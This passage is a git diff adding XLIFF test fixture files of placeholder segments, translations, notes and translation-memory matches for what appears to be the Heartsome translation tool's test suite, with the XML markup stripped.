    + + + Test segment 1. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of Test segment 1. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 2. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of Test segment 2. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 3. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of Test segment 3. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of Test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 5. + Translation of Test segment 5. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 7. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of Test segment 7. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 8. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of Test segment 8. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 9. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of Test segment 9. + + + Test segment 10. + Translation of Test segment 10. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-44.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-44.xlf new file mode 100644 index 0000000..9479337 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-44.xlf @@ -0,0 +1,59 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 0. - Filter1 + + + Test segment 1. - Filter1 + + + + Test segment 2. - Filter1 + Translation of Test segment 2. + + + Test segment 3. - Filter1 + Translation of Test segment 3. + + + Test segment 4. - Filter1 + Translation of Test segment 4. + + + Test segment 5. - Filter1 + Translation of Test segment 5. + + + Test segment 6. - Filter2 + + + + Test segment 7. - Filter2 + Translation of Test segment 7. + + + Test segment 8. - Filter2 + Translation of Test segment 8. + + + Test segment 9. - Filter2 + Translation of Test segment 9. + + + Test segment 10. - Filter2 + Translation of Test segment 10. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-5.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-5.xlf new file mode 100644 index 0000000..9754244 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-5.xlf @@ -0,0 +1,39 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 0. + + + Test segment 1. + + + + Test segment 2. + Translation of Test segment 2. + + + Test segment 3. + Translation of Test segment 3. + + + Test segment 4. + Translation of Test segment 4. + + + Test segment 5. + Translation of Test segment 5. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-55.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-55.xlf new file mode 100644 index 0000000..de2487d --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-55.xlf @@ -0,0 +1,34 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + + + Test segment 2. + + + Test segment 3. + + + Test segment 4. + + + Test segment 5. + + + Test segment 6. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-6.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-6.xlf new file mode 100644 index 0000000..d9d2da6 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-6.xlf @@ -0,0 +1,58 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + + Test segment 1. + 文本段1。 + + + + Test segment 1b. + + + Test segment 2a. + + + + Test segment 2b. + + + + Test segment 3a. + Translation of test segment 3a. + + + Test segment 3b. + + + + Test segment 4a. + + + + Test segment 4b. + Translation of test segment 4b. + + + Test segment 5a. + Translation of test segment 5a. + + + Test segment 5b. + Translation of test segment 5b. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-60.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-60.xlf new file mode 100644 index 0000000..144744f --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-60.xlf @@ -0,0 +1,28 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + + + Test segment 2. + + + Test segment 3. + + + Test segment 4. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-61.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-61.xlf new file mode 100644 index 0000000..626a9c7 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-61.xlf @@ -0,0 +1,64 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + + + + Test segment 2. + + Test Note 1. + + + Test segment 3. + + Test Note 1. + Test Note 2. + Test Note 3. + + + Test segment 4. + + + + Test segment 5. + + Test Note 1. + + + Test segment 6. + + Test Note 1. + Test Note 2. + Test Note 3. + + + Test segment 7. + + + + Test segment 8. + + Test Note 1. + + + Test segment 9. + + Test Note 1. + Test Note 2. + Test Note 3. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-62.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-62.xlf new file mode 100644 index 0000000..4809e4f --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-62.xlf @@ -0,0 +1,70 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + + + + Test segment 2. + + Test Note 1. + + + Test segment 3. + + Test Note 1. + Test Note 2. + Test Note 3. + Test Note 4. + Test Note 5. + + + Test segment 4. + + + + Test segment 5. + + Test Note 1. + + + Test segment 6. + + Test Note 1. + Test Note 2. + Test Note 3. + Test Note 4. + Test Note 5. + + + Test segment 7. + + + + Test segment 8. + + Test Note 1. + + + Test segment 9. + + Test Note 1. + Test Note 2. + Test Note 3. + Test Note 4. + Test Note 5. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-80.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-80.xlf new file mode 100644 index 0000000..72effe2 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-80.xlf @@ -0,0 +1,95 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + Translation of test segment 1. + + Test segment 1. - Leading + Test segment 1. + + + + Test segment 2. - Tailing + Translation of test segment 2. + + Test segment 2. + Test segment 2. + + + + Test segment 3. - Leading + Translation of test segment 3. + + Test segment 3. - Tailing + Test segment 3. - Tailing + + + + 3 test segments, 5 of them have 3 + Translation of 3 test segments, 5 of them have 6 + + 44 test segments, 5 of them have 6 + 44 test segments, 5 of them have 6 + + + + 3 test segments, 4 of them have 55 + Translation of 3 test segments, 4 of them have 55 + + 3 test segments, 4 of them have 6 + 3 test segments, 4 of them have 6 + + + + 5 test segments, 66 of them have 3 + Translation of 5 test segments, 66 of them have 3 + + 77 test segments, 8 of them have 99 + 77 test segments, 8 of them have 99 + + + + 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + Translation of 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + + 2010-12-31 00:54:26 (different) a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + 2010-12-31 00:54:26 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + + + + 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + Translation of 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + + 2011-03-29 12:05:36 a test segment which was created on 2010-12-31 00:54:26 (different) is updated to 2012-06-07 23:59:59 + 2011-03-29 12:05:36 a test segment which was created on 2010-12-31 00:54:26 is updated to 2012-06-07 23:59:59 + + + + 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + Translation of 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + + 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to (different) 2010-12-31 00:54:26 + 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2010-12-31 00:54:26 + + + + 2011-03-29 12:05:36 test segments 1 of which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 - Leading + + 2011-03-29 12:05:36 test segments 2 of which was created on 2010-12-31 00:54:26 (different) is updated to 2012-06-07 23:59:59 - Tailing + 2011-03-29 12:05:36 test segments 2 of which was created on 2010-12-31 00:54:26 (different) is updated to 2012-06-07 23:59:59 + + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-80b.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-80b.xlf new file mode 100644 index 0000000..58a3fb7 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-80b.xlf @@ -0,0 +1,95 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + Translation of test segment 1. + + Test segment 1. - Leading + 文本段 1。 + + + + Test segment 2. - Tailing + Translation of test segment 2. + + Test segment 2. + 文本段 1。 + + + + Test segment 3. - Leading + Translation of test segment 3. + + Test segment 3. - Tailing + 文本段 1。 + + + + 3 test segments, 5 of them have 3 + Translation of 3 test segments, 5 of them have 6 + + 44 test segments, 5 of them have 6 + 44 个测试文本段,其中 5 个有 6 + + + + 3 test segments, 4 of them have 55 + Translation of 3 test segments, 4 of them have 55 + + 3 test segments, 4 of them have 6 + 3 个测试文本段,其中 4 个有 6 + + + + 5 test segments, 66 of them have 3 + Translation of 5 test segments, 66 of them have 3 + + 77 test segments, 8 of them have 99 + 77 个测试文本段,其中 8 个有 99 + + + + 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + Translation of 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + + 2010-12-31 00:54:26 (different) a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + 2010-12-31 00:54:26 一个创建于 2011-02-04 13:45:48 的文本段被更新到 2012-06-07 23:59:59 + + + + 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + Translation of 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + + 2011-03-29 12:05:36 a test segment which was created on 2010-12-31 00:54:26 (different) is updated to 2012-06-07 23:59:59 + 2011-03-29 12:05:36 一个创建于 2010-12-31 00:54:26 的文本段被更新到 2012-06-07 23:59:59 + + + + 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + Translation of 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 + + 2011-03-29 12:05:36 a test segment which was created on 2011-02-04 13:45:48 is updated to (different) 2010-12-31 00:54:26 + 2011-03-29 12:05:36 一个创建于 2011-02-04 13:45:48 的文本段被更新到 2010-12-31 00:54:26 + + + + 2011-03-29 12:05:36 test segments 1 of which was created on 2011-02-04 13:45:48 is updated to 2012-06-07 23:59:59 - Leading + + 2011-03-29 12:05:36 test segments 2 of which was created on 2010-12-31 00:54:26 (different) is updated to 2012-06-07 23:59:59 - Tailing + 2011-03-29 12:05:36 有 2 个创建于 2010-12-31 00:54:26 的文本段被更新到 2012-06-07 23:59:59 + + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-81.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-81.xlf new file mode 100644 index 0000000..166fb14 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-81.xlf @@ -0,0 +1,74 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + Translation of test segment 1. + + Test segment 1. + 文本段 1。 + + + + Test segment 2. + + Test segment 2a. + 文本段 2a。 + + + Test segment 2b. + 文本段 2b。 + + + + Test segment 3. + Translation of test segment 3. + + Test segment 3. + 文本段 3。 + + + + Test segment 4. + Translation of test segment 4. + + Test segment 4. + 文本段 4。 + + + + Test segment 5. + + Test segment 5. + 文本段 5。 + + + + Test segment 6. + Translation of test segment 6. + + Test segment 6. + 文本段 6。 + + + + Test segment 7. + Translation of test segment 7. + + Test segment 7. + 文本段 7。 + + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-83.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-83.xlf new file mode 100644 index 0000000..c3ba8e3 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-83.xlf @@ -0,0 +1,134 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + Translation of test segment 1. + + Test segment 1. + 文本段 1。 + + + + Test segment 2. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 2. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 2. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - QT + 文本段 2。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 3. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 3. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 3. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - GT + 3的试验段。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 4b. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + 文本段 4b。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + 文本段 4。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 5. + + Test segment 5a. + 文本段 5a。 + + + Test segment 5b. + 文本段 5b。 + + + + Test segment 6. + Translation of test segment 6. + + Test segment 6b. + 文本段 6b。 + + + Test segment 6. + 文本段 6。 + + + + Test segment 7. + Translation of test segment 7. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 7a. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 100 + 文本段 7a。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 7b. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 101 + 文本段 7b。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 8. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 8. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 8a. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - QT + 文本段 8a。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 8b. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 100 + 文本段 8b。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 9. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 9. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 9a. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - GT + 9a的试验段。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 9b. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 101 + 文本段 9b。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 10. + + Test segment 10. + 文本段 10。 + + + + Test segment 11. + Translation of test segment 11. + + Test segment 11. + 文本段 11。 + + + + Test segment 12. + Translation of test segment 12. + + Test segment 12. + 文本段 12。 + + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-83b.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-83b.xlf new file mode 100644 index 0000000..d174395 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-83b.xlf @@ -0,0 +1,63 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + Translation of test segment 1. + + Test segment 1. + 文本段 1。 + + + + Test segment 2. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 2. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 2. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - QT + 文本段 2。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 3. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 3. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 3. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - GT + 3的试验段。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 10. + + Test segment 10. + 文本段 10。 + + + + Test segment 11. + Translation of test segment 11. + + Test segment 11. + 文本段 11。 + + + + Test segment 12. + Translation of test segment 12. + + Test segment 12. + 文本段 12。 + + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-84.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-84.xlf new file mode 100644 index 0000000..30a7aef --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-84.xlf @@ -0,0 +1,134 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + Translation of test segment 1. + + Test segment 1. + 文本段 1。 + + + + Test segment 2. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 2. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 2. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - QT + 文本段 2。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 3. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 3. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 3. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text 